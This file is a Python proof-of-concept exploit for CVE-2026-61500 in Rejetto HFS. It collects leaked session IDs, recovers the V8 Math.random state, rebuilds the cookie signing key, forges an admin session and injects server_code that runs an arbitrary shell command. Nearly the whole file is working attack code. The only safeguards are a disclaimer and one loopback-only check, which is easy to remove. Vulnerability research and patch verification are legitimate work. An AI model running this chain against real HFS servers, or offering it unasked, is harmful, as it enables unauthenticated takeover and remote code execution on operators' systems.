#!/usr/bin/env python3
# DISCLAIMER: Provided for authorized security research and defensive testing only.
# Use this code solely against systems you own or have explicit written permission to test.
# This build is restricted to loopback HTTP lab targets. The author and archivists accept
# no liability for misuse or damage caused by this code.
"""
Exploit Title: Rejetto HFS session forgery and server-side code execution
Date: 2026-09-26
Exploit Author: A. Ramos <aramosf@gmail.com> (@aramosf)
Discovery: Zach Hanley (@hacks_zach), Horizon3.ai, with Claude and Anthropic Research
Affected: Rejetto HFS 3.0.0 through 3.2.0
Tested on: official rejetto/hfs:v3.2.0 Docker image, Linux amd64
Type: Unauthenticated session forgery leading to remote code execution (CWE-338)
CVE: CVE-2026-61500

Upstream fix: https://github.com/rejetto/hfs/commit/59472e534bf7e056d708382d02935c2eaf956927
Original advisory: https://www.vulncheck.com/advisories/rejetto-hfs-session-forgery-via-predictable-signing-key

This publication build intentionally accepts loopback HTTP targets only.
"""

from __future__ import annotations

import argparse
import base64
import hashlib
import hmac
import itertools
import json
import re
import sys
import time
import urllib.error
import urllib.request
from dataclasses import dataclass
from urllib.parse import urlparse


MASK64 = (1 << 64) - 1
TWO53 = 1 << 53
BASE36 = "0123456789abcdefghijklmnopqrstuvwxyz"
LOOPBACK_HOSTS = {"127.0.0.1", "localhost", "::1"}


@dataclass
class Leak:
    sid: float
    payload: str
    signature: str


def api_request(
    target: str,
    api: str,
    body: dict,
    cookie: str | None = None,
) -> tuple[int, bytes, list[str]]:
    headers = {
        "Content-Type": "application/json",
        "X-Hfs-Anti-Csrf": "1",
        "User-Agent": "hfs-cve-2026-61500-loopback-lab-poc",
    }
    if cookie:
        headers["Cookie"] = cookie
    request = urllib.request.Request(
        f"{target.rstrip('/')}/~/api/{api}",
        data=json.dumps(body, separators=(",", ":")).encode(),
        method="POST",
        headers=headers,
    )
    try:
        with urllib.request.urlopen(request, timeout=10) as response:
            return response.status, response.read(), response.headers.get_all("Set-Cookie") or []
    except urllib.error.HTTPError as error:
        return error.code, error.read(), error.headers.get_all("Set-Cookie") or []


def cookie_value(headers: list[str], name: str) -> str:
    prefix = name + "="
    for header in headers:
        if header.startswith(prefix):
            return header.split(";", 1)[0][len(prefix):]
    raise RuntimeError(f"response did not set {name}")


def decode_cookie(payload: str) -> dict:
    padding = "=" * (-len(payload) % 4)
    return json.loads(base64.urlsafe_b64decode(payload + padding))


def collect_leaks(target: str, count: int = 6) -> list[Leak]:
    leaks: list[Leak] = []
    for _ in range(count):
        status, body, headers = api_request(target, "loginSrp1", {"username": "admin"})
        if status != 200:
            raise RuntimeError(f"loginSrp1 failed with HTTP {status}: {body.decode(errors='replace')}")
        payload = cookie_value(headers, "hfs_http")
        signature = cookie_value(headers, "hfs_http.sig")
        sid = decode_cookie(payload).get("loggingIn", {}).get("sid")
        if not isinstance(sid, (int, float)):
            raise NotImplementedError(
                f"login identifier is not a Math.random number ({sid!r}); target appears fixed"
            )
        leaks.append(Leak(float(sid), payload, signature))
    return leaks


def xorshift_step(older: int, newer: int) -> int:
    value = older
    value ^= (value << 23) & MASK64
    value ^= value >> 17
    value ^= newer
    value ^= newer >> 26
    return value & MASK64


def undo_right_xor(value: int, shift: int) -> int:
    result = value
    for amount in range(shift, 64, shift):
        result ^= value >> amount
    return result & MASK64


def undo_left_xor(value: int, shift: int) -> int:
    result = value
    for amount in range(shift, 64, shift):
        result ^= (value << amount) & MASK64
    return result & MASK64


def previous_state0(output: int, newer: int) -> int:
    value = output ^ newer ^ (newer >> 26)
    return undo_left_xor(undo_right_xor(value, 17), 23)


def to_v8_top53(value: float) -> int:
    return int(value * TWO53)


def recover_state(outputs: list[float]) -> tuple[int, int]:
    if len(outputs) < 5:
        raise ValueError("at least five outputs are required")
    observed = [to_v8_top53(value) for value in outputs]
    candidates: list[tuple[int, int, int, int]] = []

    # V8 returns entries from its 64-value random cache in reverse order. The
    # exposed doubles omit eleven low bits from each internal 64-bit word.
    for low2 in range(1 << 11):
        state_t_minus_2 = (observed[2] << 11) | low2
        for low1 in range(1 << 11):
            state_t_minus_1 = (observed[1] << 11) | low1
            state_t = xorshift_step(state_t_minus_2, state_t_minus_1)
            if state_t >> 11 != observed[0]:
                continue
            state_t_minus_3 = previous_state0(state_t_minus_1, state_t_minus_2)
            if state_t_minus_3 >> 11 == observed[3]:
                candidates.append(
                    (state_t_minus_3, state_t_minus_2, state_t_minus_1, state_t)
                )

    verified = []
    for candidate in candidates:
        state_t_minus_4 = previous_state0(candidate[1], candidate[0])
        if state_t_minus_4 >> 11 == observed[4]:
            verified.append(candidate)
    if len(verified) != 1:
        raise RuntimeError(f"expected one PRNG state, recovered {len(verified)}")
    return verified[0][2], verified[0][3]


def base36_fixed(value: int, width: int) -> str:
    result = []
    for _ in range(width):
        value, digit = divmod(value, 36)
        result.append(BASE36[digit])
    return "".join(reversed(result)).replace("l", "L")


def random_id_chunk_candidates(state0: int) -> tuple[str, ...]:
    # V8 emits the shortest base-36 string that round-trips to the same double.
    # The first ten fractional digits are the exact floor or that prefix plus
    # one, depending on shortest-representation rounding.
    scaled = (state0 >> 11) * (36 ** 10)
    floor, remainder = divmod(scaled, TWO53)
    candidates = [base36_fixed(floor, 10)]
    if remainder and floor + 1 < 36 ** 10:
        candidates.append(base36_fixed(floor + 1, 10))
    return tuple(dict.fromkeys(candidates))


def keygrip_signature(key: str, payload: str) -> str:
    digest = hmac.new(
        key.encode(), f"hfs_http={payload}".encode(), hashlib.sha1
    ).digest()
    return base64.urlsafe_b64encode(digest).decode().rstrip("=")


def recover_signing_key(state_a: int, state_b: int, leak: Leak) -> tuple[str, int]:
    sequence = [state_a, state_b]
    for _ in range(64):
        sequence.append(xorshift_step(sequence[-2], sequence[-1]))

    # Key creation consumed three values in reverse-cache order. Other startup
    # code can consume values before the first SID, so match candidates against
    # the cookie signature already returned by the server.
    for offset in range(2, len(sequence) - 2):
        chunk_sets = [
            random_id_chunk_candidates(sequence[index])
            for index in (offset + 2, offset + 1, offset)
        ]
        for chunks in itertools.product(*chunk_sets):
            key = "".join(chunks)
            if hmac.compare_digest(keygrip_signature(key, leak.payload), leak.signature):
                return key, offset
    raise RuntimeError("recovered PRNG state but no signing key matched the observed cookie")


def forge_admin_cookie(key: str) -> str:
    now = int(time.time() * 1000)
    session = {
        "username": "admin",
        "ts": now,
        "_expire": now + 86_400_000,
        "_maxAge": 86_400_000,
    }
    payload = base64.b64encode(
        json.dumps(session, separators=(",", ":")).encode()
    ).decode().rstrip("=")
    signature = keygrip_signature(key, payload)
    return f"hfs_http={payload}; hfs_http.sig={signature}"


def exploit(target: str, marker: str, command: str | None) -> None:
    leaks = collect_leaks(target)
    print("collected_sids=" + ",".join(repr(leak.sid) for leak in leaks))
    state_a, state_b = recover_state([leak.sid for leak in leaks])
    key, offset = recover_signing_key(state_a, state_b, leaks[0])
    print(f"prng_state_recovered=true key_offset={offset}")
    print(f"cookie_signing_key={key}")

    cookie = forge_admin_cookie(key)
    status, body, _ = api_request(target, "get_config", {"only": ["version"]}, cookie)
    print(f"forged_admin_probe_status={status} body={body.decode(errors='replace')}")
    if status != 200:
        raise RuntimeError("forged cookie did not obtain administrative access")

    if command is None:
        server_code = (
            "exports.init = () => {"
            f"require('fs').writeFileSync('/data/{marker}', "
            "'CVE_2026_61500_RCE_CONFIRMED\\n')"
            "}"
        )
        print(f"payload=write benign marker /data/{marker}")
    else:
        command_literal = json.dumps(command)
        server_code = (
            "exports.init = () => {"
            "require('child_process').execFileSync('/bin/sh', "
            f"['-c', {command_literal}], {{stdio: 'ignore'}})"
            "}"
        )
        print(f"payload=execute loopback-lab shell command: {command}")
    status, body, _ = api_request(
        target, "set_config", {"values": {"server_code": server_code}}, cookie
    )
    print(f"server_code_status={status} body={body.decode(errors='replace')}")
    if status != 200:
        raise RuntimeError("administrative server_code request failed")


def main() -> int:
    parser = argparse.ArgumentParser(
        description="Loopback-only CVE-2026-61500 lab proof of concept"
    )
    parser.add_argument("--target", default="http://127.0.0.1:28182")
    parser.add_argument("--marker", default="cve-2026-61500-rce-marker.txt")
    parser.add_argument(
        "--command",
        help="shell command executed inside the loopback lab container instead of writing a marker",
    )
    args = parser.parse_args()

    parsed = urlparse(args.target)
    if parsed.scheme != "http" or parsed.hostname not in LOOPBACK_HOSTS:
        parser.error("this publication PoC is restricted to loopback HTTP targets")
    if not re.fullmatch(r"[A-Za-z0-9_.-]+", args.marker):
        parser.error("marker must be a simple filename")

    try:
        exploit(args.target, args.marker, args.command)
        return 0
    except NotImplementedError as error:
        print(f"not_vulnerable={error}", file=sys.stderr)
        return 3
    except (RuntimeError, OSError, ValueError) as error:
        print(f"exploit_failed={error}", file=sys.stderr)
        return 1


if __name__ == "__main__":
    raise SystemExit(main())
